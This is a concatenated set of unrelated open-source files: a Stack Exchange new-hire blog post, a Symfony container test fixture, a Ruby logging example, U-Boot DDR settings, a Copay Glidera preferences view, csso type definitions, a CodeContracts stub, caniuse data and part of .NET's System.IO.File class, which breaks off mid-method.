Samo (left) grew up in Ljutomer, studied in Maribor, and now lives in Lenart - all in the "head" of Slovenia's chicken-like geography. He got into programming by maintaining his high school's website and developing applications for organizing karate competitions. Besides hanging out with his wife, he also enjoys making music, practicing & judging karate, other (normal) sports, and learning new things by answering questions on Stack Overflow. As an active SO user since 2009, Samo wasn't able to resist the temptation any longer, and he clicked on the '[woof from home](http://static.adzerk.net/Advertisers/83548ab0d32849899a38e743d918ed91.png)' ad - once.
****
**Tania Rahman, Sales Representative (Careers 2.0),** _London_
Born and raised in a tiny village in Hampshire complete with thatched-roofed cottages, Tania has been living in London in the heart of the Olympic Village for over 4 years. Tania designed an award winning doughnut aptly named 'Death By Chocolate' which was available in petrol (gas) stations across the UK for a limited period. Due to the over consumption of doughnuts, Tania decided the best way to work the extra calories off was by running the London Marathon, which she did in 2013. When she's not busy checking out the latest pop up restaurant she can be found with her nose in a good book or learning to swim...sometimes both!

**Phil Sireci, Executive Chef,** _New York_
Phil graduated from the French Culinary Institute. His impressive career includes stints at the Gramercy Tavern and Union Square Café; he also owned a restaurant in Provincetown, MA in the past. East End Kitchen was where he met his assistant, Shanna Sobel. Phil loves to play the guitar and has played in a couple of bands. He loves his 2 dogs, PJ and Dinny.

**Shanna Sobel, Assistant Chef/Pastry Chef**, _New York_
Shanna graduated from FIT with Bachelor in Fine Arts. She went on to receive a degree for Pastry Arts from the Art Institute of Culinary Education. Shanna has worked at NYC hotspots Colicchio and Sons, Stanton Social, and East End Kitchen, which is where she met Marvin and Philip. Shanna owns an online cookie company called Couture Cookies LLC, and she enjoys volleyball and abstract painting in her spare time. She’s also a huge Dave Matthews Band fan!

**Angela Toney, Account Executive (Careers 2.0)**, _Denver_
Angela grew up in the American Southwest, attended college in rural Virginia, and now calls Denver home. Her sales career started at an educational technology company, and five years later, she is ready to dive in to her role at Stack Exchange! In her free time, Angela enjoys hiking with her husband and dogs, anything fitness-oriented (latest obsession is stand-up paddle boarding), and visiting all the great breweries and restaurants in the Mile High City.

**Jonathan Zizzo, Account Executive (Careers 2.0)**, _New York_
Jonathan grew up in Ohio and attended college at The Ohio State University. He spent five years selling medical equipment before joining Stack Exchange this summer. Outside of work, Jonathan enjoys spending quality time with family and friends, traveling, and seeking adventure.
_Visit our [hiring page](http://www.stackexchange.com/about/hiring) to learn all the reasons Stack Exchange is a ridiculously awesome place to work. __Want to see your face in our next new hire announcement? Here's who we need:_
[Web Developer (NYC or remote)](http://careers.stackoverflow.com/jobs/34229/web-developer-stack-exchange-stack-exchange)
[Senior Product Designer (NYC or remote)](http://careers.stackoverflow.com/jobs/24481/product-designer-stack-exchange)
[Sales Representative / Account Executive (London)](http://stackexchange.com/about/hiring/sales-representative-account-executive-london)
[Sales Representative / Account Executive (Denver)](http://stackexchange.com/about/hiring/sales-representative-account-executive-denver)
[Sales Representative / Account Executive (NYC)](http://stackexchange.com/about/hiring/sales-representative-account-executive-new-york)
[Community Manager - bilingual English/Japanese (NYC or remote)](http://stackexchange.com/about/hiring/community-manager-bilingual-english-japanese)
[Recruiter (London)](http://stackexchange.com/about/hiring/recruiter-london)
| selfcommit/stack-blog | _posts/2013-09-25-summer-hiring-happened-so-fast.markdown | Markdown | mit | 9,285 |
<?php
use Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\DependencyInjection\Container;
use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use Symfony\Component\DependencyInjection\Exception\LogicException;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
use Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag;
/**
* This class has been auto-generated
* by the Symfony Dependency Injection Component.
*
* @final since Symfony 3.3
*/
class Symfony_DI_PhpDumper_Test_Almost_Circular_Public extends Container
{
private $parameters;
private $targetDirs = array();
/**
* @internal but protected for BC on cache:clear
*/
protected $privates = array();
public function __construct()
{
$this->services = $this->privates = array();
$this->methodMap = array(
'bar' => 'getBarService',
'bar3' => 'getBar3Service',
'bar5' => 'getBar5Service',
'foo' => 'getFooService',
'foo2' => 'getFoo2Service',
'foo4' => 'getFoo4Service',
'foo5' => 'getFoo5Service',
'foobar' => 'getFoobarService',
'foobar2' => 'getFoobar2Service',
'foobar3' => 'getFoobar3Service',
'foobar4' => 'getFoobar4Service',
);
$this->aliases = array();
}
public function reset()
{
$this->privates = array();
parent::reset();
}
public function compile()
{
throw new LogicException('You cannot compile a dumped container that was already compiled.');
}
public function isCompiled()
{
return true;
}
public function getRemovedIds()
{
return array(
'Psr\\Container\\ContainerInterface' => true,
'Symfony\\Component\\DependencyInjection\\ContainerInterface' => true,
'bar2' => true,
);
}
/**
* Gets the public 'bar' shared service.
*
* @return \BarCircular
*/
protected function getBarService()
{
$this->services['bar'] = $instance = new \BarCircular();
$instance->addFoobar(($this->services['foobar'] ?? $this->getFoobarService()));
return $instance;
}
/**
* Gets the public 'bar3' shared service.
*
* @return \BarCircular
*/
protected function getBar3Service()
{
$this->services['bar3'] = $instance = new \BarCircular();
$a = ($this->services['foobar3'] ?? $this->services['foobar3'] = new \FoobarCircular());
$instance->addFoobar($a, $a);
return $instance;
}
/**
* Gets the public 'bar5' shared service.
*
* @return \stdClass
*/
protected function getBar5Service()
{
$a = ($this->services['foo5'] ?? $this->getFoo5Service());
if (isset($this->services['bar5'])) {
return $this->services['bar5'];
}
$this->services['bar5'] = $instance = new \stdClass($a);
$instance->foo = $a;
return $instance;
}
/**
* Gets the public 'foo' shared service.
*
* @return \FooCircular
*/
protected function getFooService()
{
$a = ($this->services['bar'] ?? $this->getBarService());
if (isset($this->services['foo'])) {
return $this->services['foo'];
}
return $this->services['foo'] = new \FooCircular($a);
}
/**
* Gets the public 'foo2' shared service.
*
* @return \FooCircular
*/
protected function getFoo2Service()
{
$a = new \BarCircular();
$this->services['foo2'] = $instance = new \FooCircular($a);
$a->addFoobar(($this->services['foobar2'] ?? $this->getFoobar2Service()));
return $instance;
}
/**
* Gets the public 'foo4' service.
*
* @return \stdClass
*/
protected function getFoo4Service()
{
$instance = new \stdClass();
$instance->foobar = ($this->services['foobar4'] ?? $this->getFoobar4Service());
return $instance;
}
/**
* Gets the public 'foo5' shared service.
*
* @return \stdClass
*/
protected function getFoo5Service()
{
$this->services['foo5'] = $instance = new \stdClass();
$instance->bar = ($this->services['bar5'] ?? $this->getBar5Service());
return $instance;
}
/**
* Gets the public 'foobar' shared service.
*
* @return \FoobarCircular
*/
protected function getFoobarService()
{
$a = ($this->services['foo'] ?? $this->getFooService());
if (isset($this->services['foobar'])) {
return $this->services['foobar'];
}
return $this->services['foobar'] = new \FoobarCircular($a);
}
/**
* Gets the public 'foobar2' shared service.
*
* @return \FoobarCircular
*/
protected function getFoobar2Service()
{
$a = ($this->services['foo2'] ?? $this->getFoo2Service());
if (isset($this->services['foobar2'])) {
return $this->services['foobar2'];
}
return $this->services['foobar2'] = new \FoobarCircular($a);
}
/**
* Gets the public 'foobar3' shared service.
*
* @return \FoobarCircular
*/
protected function getFoobar3Service()
{
return $this->services['foobar3'] = new \FoobarCircular();
}
/**
* Gets the public 'foobar4' shared service.
*
* @return \stdClass
*/
protected function getFoobar4Service()
{
$a = new \stdClass();
$this->services['foobar4'] = $instance = new \stdClass($a);
$a->foobar = $instance;
return $instance;
}
}
| hacfi/symfony | src/Symfony/Component/DependencyInjection/Tests/Fixtures/php/services_almost_circular_public.php | PHP | mit | 5,889 |
# :stopdoc:
#
# Loggers exist in a hierarchical relationship defined by their names. Each
# logger has a parent (except for the root logger). A logger can zero or
# more children. This parent/child relationship is determined by the Ruby
# namespace separator '::'.
#
# root
# |-- Foo
# | |-- Foo::Bar
# | `-- Foo::Baz
# |-- ActiveRecord
# | `-- ActiveRecord::Base
# |-- ActiveSupport
# | `-- ActiveSupport::Base
# `-- Rails
#
# A logger inherits its log level from its parent. This level can be set for
# each logger in the system. Setting the level on a logger affects all it's
# children and grandchildren, etc. unless the child has it's own level set.
#
# Loggers also have a property called "additivity", and by default it is set
# to true for all loggers. This property enables a logger to pass log events
# up to its parent.
#
# If a logger does not have an appender and its additivity is true, it will
# pass all log events up to its parent who will then try to send the log
# event to its appenders. The parent will do the same thing, passing the log
# event up the chain till the root logger is reached or some parent logger
# has its additivity set to false.
#
# So, if the root logger is the only one with an appender, all loggers can
# still output log events to the appender because of additivity. A logger
# will ALWAYS send log events to its own appenders regardless of its
# additivity.
#
# The show_configuration method can be used to dump the logging hierarchy.
#
require 'logging'
Logging.logger.root.level = :debug
foo = Logging.logger['Foo']
bar = Logging.logger['Foo::Bar']
baz = Logging.logger['Foo::Baz']
# configure the Foo logger
foo.level = 'warn'
foo.appenders = Logging.appenders.stdout
# since Foo is the parent of Foo::Bar and Foo::Baz, these loggers all have
# their level set to warn
foo.warn 'this is a warning, not a ticket'
bar.info 'this message will not be logged'
baz.info 'nor will this message'
bar.error 'but this error message will be logged'
# let's demonstrate additivity of loggers
Logging.logger.root.appenders = Logging.appenders.stdout
baz.warn 'this message will be logged twice - once by Foo and once by root'
foo.additive = false
bar.warn "foo is no longer passing log events up to it's parent"
# let's look at the logger hierarchy
puts '='*76
Logging.show_configuration
# :startdoc:
| goncalossilva/alfred2-android_sdk_reference_search-workflow | workflow/bundle/ruby/2.0.0/gems/logging-1.8.1/examples/hierarchies.rb | Ruby | mit | 2,418 |
/*
* Copyright 2008 Freescale Semiconductor, Inc.
*
* SPDX-License-Identifier: GPL-2.0
*/
#include <common.h>
#include <fsl_ddr_sdram.h>
#include <fsl_ddr_dimm_params.h>
void fsl_ddr_board_options(memctl_options_t *popts,
dimm_params_t *pdimm,
unsigned int ctrl_num)
{
/*
* Factors to consider for clock adjust:
* - number of chips on bus
* - position of slot
* - DDR1 vs. DDR2?
* - ???
*
* This needs to be determined on a board-by-board basis.
* 0110 3/4 cycle late
* 0111 7/8 cycle late
*/
popts->clk_adjust = 7;
/*
* Factors to consider for CPO:
* - frequency
* - ddr1 vs. ddr2
*/
popts->cpo_override = 0;
/*
* Factors to consider for write data delay:
* - number of DIMMs
*
* 1 = 1/4 clock delay
* 2 = 1/2 clock delay
* 3 = 3/4 clock delay
* 4 = 1 clock delay
* 5 = 5/4 clock delay
* 6 = 3/2 clock delay
*/
popts->write_data_delay = 3;
/*
* Factors to consider for half-strength driver enable:
* - number of DIMMs installed
*/
popts->half_strength_driver_enable = 0;
}
| guileschool/beagleboard | u-boot/board/socrates/ddr.c | C | mit | 1,056 |
<div
class="topbar-container"
ng-include="'views/includes/topbar.html'"
ng-init="titleSection='Preferences'; goBackToState = 'glidera'; noColor = true">
</div>
<div class="content preferences" ng-controller="preferencesGlideraController as glidera">
<ul ng-if="index.glideraToken" class="no-bullet m0">
<h4 class="title m0">Permissions</h4>
<li>
<span>Email</span>
<span class="right text-gray">
{{index.glideraPermissions.view_email_address}}
</span>
</li>
<li>
<span>Personal Information</span>
<span class="right text-gray">
{{index.glideraPermissions.personal_info}}
</span>
</li>
<li>
<span>Buy/Sell</span>
<span class="right text-gray">
{{index.glideraPermissions.transact}}
</span>
</li>
<li>
<span>Transaction History</span>
<span class="right text-gray">
{{index.glideraPermissions.transaction_history}}
</span>
</li>
</ul>
<ul ng-if="index.glideraPermissions.view_email_address"
ng-init="glidera.getEmail(index.glideraToken)"
class="no-bullet m0">
<h4 class="title m0">Email</h4>
<li>
<span>Email</span>
<span class="right text-gray">
{{glidera.email.email}}
</span>
</li>
<li>
<span>Active</span>
<span class="right text-gray">
{{glidera.email.userEmailIsSetup}}
</span>
</li>
</ul>
<ul ng-if="index.glideraPermissions.personal_info"
ng-init="glidera.getPersonalInfo(index.glideraToken)"
class="no-bullet m0">
<h4 class="title m0">Personal Information</h4>
<li>
<span>First Name</span>
<span class="right text-gray">
{{glidera.personalInfo.firstName}}
</span>
</li>
<li>
<span>Middle Name</span>
<span class="right text-gray">
{{glidera.personalInfo.middleName}}
</span>
</li>
<li>
<span>Last Name</span>
<span class="right text-gray">
{{glidera.personalInfo.lastName}}
</span>
</li>
<li>
<span>Birth Date</span>
<span class="right text-gray">
{{glidera.personalInfo.birthDate}}
</span>
</li>
<li>
<span>Address 1</span>
<span class="right text-gray">
{{glidera.personalInfo.address1}}
</span>
</li>
<li>
<span>Address 2</span>
<span class="right text-gray">
{{glidera.personalInfo.address2}}
</span>
</li>
<li>
<span>City</span>
<span class="right text-gray">
{{glidera.personalInfo.city}}
</span>
</li>
<li>
<span>State</span>
<span class="right text-gray">
{{glidera.personalInfo.state}}
</span>
</li>
<li>
<span>ZIP Code</span>
<span class="right text-gray">
{{glidera.personalInfo.zipCode}}
</span>
</li>
<li>
<span>Country</span>
<span class="right text-gray">
{{glidera.personalInfo.countryCode}}
</span>
</li>
<li>
<span>Occupation</span>
<span class="right text-gray">
{{glidera.personalInfo.occupation}}
</span>
</li>
<li>
<span>Basic Information State</span>
<span class="right text-gray">
{{glidera.personalInfo.basicInfoState}}
</span>
</li>
</ul>
<ul ng-if="index.glideraToken" ng-init="glidera.getStatus(index.glideraToken)"
class="no-bullet m0">
<h4 class="title m0">Status</h4>
<li>
<span>Buy/Sell</span>
<span class="right text-gray">
{{glidera.status.userCanTransact}}
</span>
</li>
<li>
<span>Buy</span>
<span class="right text-gray">
{{glidera.status.userCanBuy}}
</span>
</li>
<li>
<span>Sell</span>
<span class="right text-gray">
{{glidera.status.userCanSell}}
</span>
</li>
<li>
<span>Email Is Setup</span>
<span class="right text-gray">
{{glidera.status.userEmailIsSetup}}
</span>
</li>
<li>
<span>Phone Is Setup</span>
<span class="right text-gray">
{{glidera.status.userPhoneIsSetup}}
</span>
</li>
<li>
<span>Bank Account Is Setup</span>
<span class="right text-gray">
{{glidera.status.userBankAccountIsSetup}}
</span>
</li>
<li>
<span>Personal Information State</span>
<span class="right text-gray">
{{glidera.status.personalInfoState}}
</span>
</li>
<li>
<span>Bank Account State</span>
<span class="right text-gray">
{{glidera.status.bankAccountState}}
</span>
</li>
<li>
<span>Country</span>
<span class="right text-gray">
{{glidera.status.country}}
</span>
</li>
</ul>
<ul ng-if="index.glideraToken" ng-init="glidera.getLimits(index.glideraToken)"
class="no-bullet m0">
<h4 class="title m0">Limits</h4>
<li>
<span>Daily Buy</span>
<span class="right text-gray">
{{glidera.limits.dailyBuy|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Daily Sell</span>
<span class="right text-gray">
{{glidera.limits.dailySell|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Monthly Buy</span>
<span class="right text-gray">
{{glidera.limits.monthlyBuy|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Monthly Sell</span>
<span class="right text-gray">
{{glidera.limits.monthlySell|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Daily Buy Remaining</span>
<span class="right text-gray">
{{glidera.limits.dailyBuyRemaining|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Daily Sell Remaining</span>
<span class="right text-gray">
{{glidera.limits.dailySellRemaining|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Monthly Buy Remaining</span>
<span class="right text-gray">
{{glidera.limits.monthlyBuyRemaining|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Monthly Sell Remaining</span>
<span class="right text-gray">
{{glidera.limits.monthlySellRemaining|currency:'':2}} {{glidera.limits.currency}}
</span>
</li>
<li>
<span>Buy/Sell Disabled (pending first transaction)</span>
<span class="right text-gray">
{{glidera.limits.transactDisabledPendingFirstTransaction}}
</span>
</li>
</ul>
<ul class="no-bullet m0">
<h4 class="title m0">Account</h4>
<li ng-click="glidera.revokeToken(index.glideraTestnet)">
<i class="icon-arrow-right3 size-24 right text-gray"></i>
<span class="text-warning">Log out</span>
</li>
</ul>
<h4></h4>
</div>
<div class="extra-margin-bottom"></div>
| mpolci/copay | public/views/preferencesGlidera.html | HTML | mit | 6,697 |
// Type definitions for csso 3.5
// Project: https://github.com/css/csso
// Definitions by: Christian Rackerseder <https://github.com/screendriver>
// Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped
// TypeScript Version: 2.6
declare namespace csso {
interface Result {
/**
* Resulting CSS.
*/
css: string;
/**
* Instance of SourceMapGenerator or null.
*/
map: object | null;
}
interface CompressOptions {
/**
* Disable or enable a structure optimisations.
* @default true
*/
restructure?: boolean;
/**
* Enables merging of @media rules with the same media query by splitted by other rules.
* The optimisation is unsafe in general, but should work fine in most cases. Use it on your own risk.
* @default false
*/
forceMediaMerge?: boolean;
/**
* Transform a copy of input AST if true. Useful in case of AST reuse.
* @default false
*/
clone?: boolean;
/**
* Specify what comments to leave:
* - 'exclamation' or true – leave all exclamation comments
* - 'first-exclamation' – remove every comment except first one
* - false – remove all comments
* @default true
*/
comments?: string | boolean;
/**
* Usage data for advanced optimisations.
*/
usage?: object;
/**
* Function to track every step of transformation.
*/
logger?: () => void;
}
interface MinifyOptions {
/**
* Generate a source map when true.
* @default false
*/
sourceMap?: boolean;
/**
* Filename of input CSS, uses for source map generation.
* @default '<unknown>'
*/
filename?: string;
/**
* Output debug information to stderr.
* @default false
*/
debug?: boolean;
/**
* Called right after parse is run.
*/
beforeCompress?: BeforeCompressFn | BeforeCompressFn[];
/**
* Called right after compress() is run.
*/
afterCompress?: AfterCompressFn | AfterCompressFn[];
restructure?: boolean;
}
type BeforeCompressFn = (ast: object, options: CompressOptions) => void;
type AfterCompressFn = (compressResult: string, options: CompressOptions) => void;
}
interface Csso {
/**
* Minify source CSS passed as String
* @param source
* @param options
*/
minify(source: string, options?: csso.MinifyOptions & csso.CompressOptions): csso.Result;
/**
* The same as minify() but for list of declarations. Usually it's a style attribute value.
* @param source
* @param options
*/
minifyBlock(source: string, options?: csso.MinifyOptions & csso.CompressOptions): csso.Result;
/**
* Does the main task – compress an AST.
*/
compress(ast: object, options?: csso.CompressOptions): { ast: object };
}
declare const csso: Csso;
export = csso;
| AgentME/DefinitelyTyped | types/csso/index.d.ts | TypeScript | mit | 3,167 |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// File System.Runtime.Serialization.SerializationEntry.cs
// Automatically generated contract file.
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Diagnostics.Contracts;
using System;
// Disable the "this variable is not used" warning as every field would imply it.
#pragma warning disable 0414
// Disable the "this variable is never assigned to".
#pragma warning disable 0067
// Disable the "this event is never assigned to".
#pragma warning disable 0649
// Disable the "this variable is never used".
#pragma warning disable 0169
// Disable the "new keyword not required" warning.
#pragma warning disable 0109
// Disable the "extern without DllImport" warning.
#pragma warning disable 0626
// Disable the "could hide other member" warning, can happen on certain properties.
#pragma warning disable 0108
namespace System.Runtime.Serialization
{
public partial struct SerializationEntry
{
#region Properties and indexers
public string Name
{
get
{
return default(string);
}
}
public Type ObjectType
{
get
{
return default(Type);
}
}
public Object Value
{
get
{
return default(Object);
}
}
#endregion
}
}
| ndykman/CodeContracts | Microsoft.Research/Contracts/MsCorlib/Sources/System.Runtime.Serialization.SerializationEntry.cs | C# | mit | 2,424 |
module.exports={A:{A:{"2":"J C G E B A UB"},B:{"1":"X g H L","2":"D"},C:{"1":"0 1 4 5 V W u Y Z a b c d e f K h i j k l m n o p q r w x v z t s","2":"2 SB F I J C G E B A D X g H L M N O P Q R S T U QB PB"},D:{"1":"0 1 4 5 8 i j k l m n o p q r w x v z t s EB BB TB CB","2":"F I J C G E B A D X g H L M N O P Q R S T U V W u Y Z a b c d e f K h"},E:{"1":"B A JB KB","2":"9 F I J C G E DB FB GB HB IB"},F:{"1":"V W u Y Z a b c d e f K h i j k l m n o p q r","2":"6 7 E A D H L M N O P Q R S T U LB MB NB OB RB y"},G:{"1":"A bB cB","2":"3 9 G AB VB WB XB YB ZB aB"},H:{"2":"dB"},I:{"1":"s","2":"2 3 F eB fB gB hB iB jB"},J:{"2":"C B"},K:{"1":"K","2":"6 7 B A D y"},L:{"1":"8"},M:{"1":"t"},N:{"2":"B A"},O:{"1":"kB"},P:{"1":"F I"},Q:{"2":"lB"},R:{"1":"mB"}},B:6,C:"ES6 Generators"};
| redq81/redq81.github.io | test/node_modules/caniuse-lite/data/features/es6-generators.js | JavaScript | mit | 780 |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Buffers;
using System.Collections.Generic;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.Security;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace System.IO
{
// Class for creating FileStream objects, and some basic file management
// routines such as Delete, etc.
public static class File
{
private static Encoding s_UTF8NoBOM;
internal const int DefaultBufferSize = 4096;
public static StreamReader OpenText(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
Contract.EndContractBlock();
return new StreamReader(path);
}
public static StreamWriter CreateText(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
Contract.EndContractBlock();
return new StreamWriter(path, append: false);
}
public static StreamWriter AppendText(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
Contract.EndContractBlock();
return new StreamWriter(path, append: true);
}
// Copies an existing file to a new file. An exception is raised if the
// destination file already exists. Use the
// Copy(String, String, boolean) method to allow
// overwriting an existing file.
//
// The caller must have certain FileIOPermissions. The caller must have
// Read permission to sourceFileName and Create
// and Write permissions to destFileName.
//
public static void Copy(String sourceFileName, String destFileName)
{
if (sourceFileName == null)
throw new ArgumentNullException(nameof(sourceFileName), SR.ArgumentNull_FileName);
if (destFileName == null)
throw new ArgumentNullException(nameof(destFileName), SR.ArgumentNull_FileName);
if (sourceFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(sourceFileName));
if (destFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(destFileName));
Contract.EndContractBlock();
InternalCopy(sourceFileName, destFileName, false);
}
// Copies an existing file to a new file. If overwrite is
// false, then an IOException is thrown if the destination file
// already exists. If overwrite is true, the file is
// overwritten.
//
// The caller must have certain FileIOPermissions. The caller must have
// Read permission to sourceFileName
// and Write permissions to destFileName.
//
public static void Copy(String sourceFileName, String destFileName, bool overwrite)
{
if (sourceFileName == null)
throw new ArgumentNullException(nameof(sourceFileName), SR.ArgumentNull_FileName);
if (destFileName == null)
throw new ArgumentNullException(nameof(destFileName), SR.ArgumentNull_FileName);
if (sourceFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(sourceFileName));
if (destFileName.Length == 0)
throw new ArgumentException(SR.Argument_EmptyFileName, nameof(destFileName));
Contract.EndContractBlock();
InternalCopy(sourceFileName, destFileName, overwrite);
}
/// <devdoc>
/// Note: This returns the fully qualified name of the destination file.
/// </devdoc>
[System.Security.SecuritySafeCritical]
internal static String InternalCopy(String sourceFileName, String destFileName, bool overwrite)
{
Debug.Assert(sourceFileName != null);
Debug.Assert(destFileName != null);
Debug.Assert(sourceFileName.Length > 0);
Debug.Assert(destFileName.Length > 0);
String fullSourceFileName = Path.GetFullPath(sourceFileName);
String fullDestFileName = Path.GetFullPath(destFileName);
FileSystem.Current.CopyFile(fullSourceFileName, fullDestFileName, overwrite);
return fullDestFileName;
}
// Creates a file in a particular path. If the file exists, it is replaced.
// The file is opened with ReadWrite access and cannot be opened by another
// application until it has been closed. An IOException is thrown if the
// directory specified doesn't exist.
//
// Your application must have Create, Read, and Write permissions to
// the file.
//
public static FileStream Create(string path)
{
return Create(path, DefaultBufferSize);
}
// Creates a file in a particular path. If the file exists, it is replaced.
// The file is opened with ReadWrite access and cannot be opened by another
// application until it has been closed. An IOException is thrown if the
// directory specified doesn't exist.
//
// Your application must have Create, Read, and Write permissions to
// the file.
//
public static FileStream Create(String path, int bufferSize)
{
return new FileStream(path, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize);
}
public static FileStream Create(String path, int bufferSize, FileOptions options)
{
return new FileStream(path, FileMode.Create, FileAccess.ReadWrite,
FileShare.None, bufferSize, options);
}
// Deletes a file. The file specified by the designated path is deleted.
// If the file does not exist, Delete succeeds without throwing
// an exception.
//
// On NT, Delete will fail for a file that is open for normal I/O
// or a file that is memory mapped.
//
// Your application must have Delete permission to the target file.
//
[System.Security.SecuritySafeCritical]
public static void Delete(String path)
{
if (path == null)
throw new ArgumentNullException(nameof(path));
Contract.EndContractBlock();
String fullPath = Path.GetFullPath(path);
FileSystem.Current.DeleteFile(fullPath);
}
// Tests if a file exists. The result is true if the file
// given by the specified path exists; otherwise, the result is
// false. Note that if path describes a directory,
// Exists will return true.
//
// Your application must have Read permission for the target directory.
//
[System.Security.SecuritySafeCritical]
public static bool Exists(String path)
{
try
{
if (path == null)
return false;
if (path.Length == 0)
return false;
path = Path.GetFullPath(path);
// After normalizing, check whether path ends in directory separator.
// Otherwise, FillAttributeInfo removes it and we may return a false positive.
// GetFullPath should never return null
Debug.Assert(path != null, "File.Exists: GetFullPath returned null");
if (path.Length > 0 && PathInternal.IsDirectorySeparator(path[path.Length - 1]))
{
return false;
}
return InternalExists(path);
}
catch (ArgumentException) { }
catch (NotSupportedException) { } // Security can throw this on ":"
catch (SecurityException) { }
catch (IOException) { }
catch (UnauthorizedAccessException) { }
return false;
}
[System.Security.SecurityCritical] // auto-generated
internal static bool InternalExists(String path)
{
return FileSystem.Current.FileExists(path);
}
public static FileStream Open(String path, FileMode mode)
{
return Open(path, mode, (mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite), FileShare.None);
}
public static FileStream Open(String path, FileMode mode, FileAccess access)
{
return Open(path, mode, access, FileShare.None);
}
public static FileStream Open(String path, FileMode mode, FileAccess access, FileShare share)
{
return new FileStream(path, mode, access, share);
}
internal static DateTimeOffset GetUtcDateTimeOffset(DateTime dateTime)
{
// File and Directory UTC APIs treat a DateTimeKind.Unspecified as UTC whereas
// ToUniversalTime treats this as local.
if (dateTime.Kind == DateTimeKind.Unspecified)
{
return DateTime.SpecifyKind(dateTime, DateTimeKind.Utc);
}
return dateTime.ToUniversalTime();
}
public static void SetCreationTime(String path, DateTime creationTime)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetCreationTime(fullPath, creationTime, asDirectory: false);
}
public static void SetCreationTimeUtc(String path, DateTime creationTimeUtc)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetCreationTime(fullPath, GetUtcDateTimeOffset(creationTimeUtc), asDirectory: false);
}
[System.Security.SecuritySafeCritical]
public static DateTime GetCreationTime(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetCreationTime(fullPath).LocalDateTime;
}
[System.Security.SecuritySafeCritical] // auto-generated
public static DateTime GetCreationTimeUtc(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetCreationTime(fullPath).UtcDateTime;
}
public static void SetLastAccessTime(String path, DateTime lastAccessTime)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetLastAccessTime(fullPath, lastAccessTime, asDirectory: false);
}
public static void SetLastAccessTimeUtc(String path, DateTime lastAccessTimeUtc)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetLastAccessTime(fullPath, GetUtcDateTimeOffset(lastAccessTimeUtc), asDirectory: false);
}
[System.Security.SecuritySafeCritical]
public static DateTime GetLastAccessTime(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetLastAccessTime(fullPath).LocalDateTime;
}
[System.Security.SecuritySafeCritical] // auto-generated
public static DateTime GetLastAccessTimeUtc(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetLastAccessTime(fullPath).UtcDateTime;
}
public static void SetLastWriteTime(String path, DateTime lastWriteTime)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetLastWriteTime(fullPath, lastWriteTime, asDirectory: false);
}
public static void SetLastWriteTimeUtc(String path, DateTime lastWriteTimeUtc)
{
String fullPath = Path.GetFullPath(path);
FileSystem.Current.SetLastWriteTime(fullPath, GetUtcDateTimeOffset(lastWriteTimeUtc), asDirectory: false);
}
[System.Security.SecuritySafeCritical]
public static DateTime GetLastWriteTime(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetLastWriteTime(fullPath).LocalDateTime;
}
[System.Security.SecuritySafeCritical] // auto-generated
public static DateTime GetLastWriteTimeUtc(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetLastWriteTime(fullPath).UtcDateTime;
}
[System.Security.SecuritySafeCritical]
public static FileAttributes GetAttributes(String path)
{
String fullPath = Path.GetFullPath(path);
return FileSystem.Current.GetAttributes(fullPath);
}
[System.Security.SecurityCritical]
public static void SetAttributes(String path, FileAttributes fileAttributes)
{
String fullPath = Path.GetFullPath(path);
